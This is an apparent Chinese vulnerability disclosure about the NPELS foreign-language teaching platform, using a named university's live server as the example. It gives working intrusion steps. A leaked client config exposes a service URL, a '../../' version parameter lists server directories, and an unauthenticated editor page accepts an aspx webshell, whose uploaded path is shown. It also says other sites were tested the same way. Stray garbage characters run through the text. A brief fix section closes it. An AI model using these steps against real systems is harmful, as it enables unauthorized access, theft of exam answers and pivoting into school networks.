新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
/ a: H  n$ y* N. u1 s) G
9 s3 E5 D2 y/ c7 c- h+ S/ z9 u详细说明：

. N& M# X- D% I! t以南开大学的为例:
3 M& E2 E1 A/ W: O) Ahttp://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
7 E! z8 ^6 t  z<setting name="Update_CommonSvr_CommonService" serializeAs="String">
) \, f2 |4 F2 C! }  w0 @$ |<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
1 h  E, I7 ^! ?0 s</setting>
& k9 C+ r# x1 b: T) u及版本号
<add key="TVersion" value="1, 0, 0, 2187">
! D; \, M3 l8 C+ {& j</add>
直接访问
http://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
  ?7 W( Q- K" m- A; d% e# I进一步列目录（返回的网页很大，可以直接 wget 下来）
9 f8 }1 p! K7 k2 c: Q2 i9 Z6 \http://222.30.60.3/NPELS/CommonS ... List?version=../../

发现
+ Y5 q, S4 Y, ^http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
! S4 O, L& W1 {7 ^上传后继续列目录找到木马地址直接访问即可
) E+ }; B, B. `, `4 H8 X# l  G  f
' e' {" a( Y3 G2 p+ WOOXX

Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
! `) \5 {/ j, d* L
列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
$ x# [* V: r. f" y文件上传：
3 |, v% ]( \, e4 ~- p( c& M1 @http://222.30.60.3/npelsv/editor/editor.htm
, q. f$ f+ X9 @
上传木马：
! _: q# b$ ~5 j7 p0 jhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
3 X) n; V' N  b3 y
7 T9 Z. A9 C' }. i/ l8 @7 Z) s+ \修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​